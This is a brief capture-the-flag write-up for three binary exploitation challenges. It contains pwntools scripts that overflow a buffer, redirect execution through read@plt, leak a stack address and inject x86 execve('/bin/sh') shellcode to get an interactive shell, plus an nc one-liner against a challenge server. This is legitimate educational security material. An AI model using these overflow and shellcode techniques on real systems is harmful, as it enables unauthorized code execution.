A quick write-up.
PWN1
Throw it into IDA and you can see:
if ( v4 == 0x90909090 )
result = puts(aCensordCensord);
else
result = printf("Your point is only %d, try hard!\n", v4, v1,
v2, v3);
return result;
Just stuff it with 0x90 and you’re done:
python -c 'print "\x90"*1000' | nc 52.69.163.194 1111
PWN2
After locating byte 20 you can control eip:
gdb-peda$ info functions
All defined functions:
Non-debugging symbols:
0x08048364 _init
0x080483a0 read@plt
You can point it at read; generally it looks like this:
call
ret
argv1
argv2
argv3
You can control read’s return address and arguments, so you can point ret and our shellcode at the same location; for the shellcode, just find any blank area and write it there.
from pwn import *
import time
r = remote('127.0.0.1', 4000)
read_adr = "\xa0\x83\x04\x08"
read = "\x00\x00\x00\x00" + "\x00\xa1\x04\x08" + "\x00\x01\x00\x00"
p = "a"*20 + read_adr + "\x00\xa1\x04\x08" + read
r.send (p)
time.sleep(5)
r.send ("\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd
\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68")
PWN3
A lot of this I worked out with qira. For pwn3, you can keep using push to overwrite ret, and finally exit to complete the overwrite.
First figure out how far the pop leak value is from our shellcode; the difference works out to 36, but it will overwrite ret, so after ret we need to give it a pointer to our shellcode.
With %d, anything over 0x80000000 needs 0x100000000 subtracted so the value inserted comes out correct. Our payload is expected to look like this:
point to shellcode + shellcode + nop + ret
from pwn import *
import time
r = remote('127.0.0.1',4000)
def push(num):
r.send('1\n')
time.sleep(0.2)
if num > 0x80000000:
num -= 0x100000000
r.send( str(num) + '\n')
#pop leak
r.send('2\n')
item = r.recvline_contains('item')[13:23]
shell_adr = int(item,16) - 36 + 4
#shellcode point
push(shell_adr)
#shellcode
push(0x315b0beb)
push(0x31c931c0)
push(0xcd0bb0d2)
push(0xfff0e880)
push(0x622fffff)
push(0x732f6e69)
push(0x90900068)
#nop
for _ in range (0,16):
push(0x90909090)
#ret
push(shell_adr)
#exit
time.sleep(1)
r.send('4\n')
#get shell
r.interactive()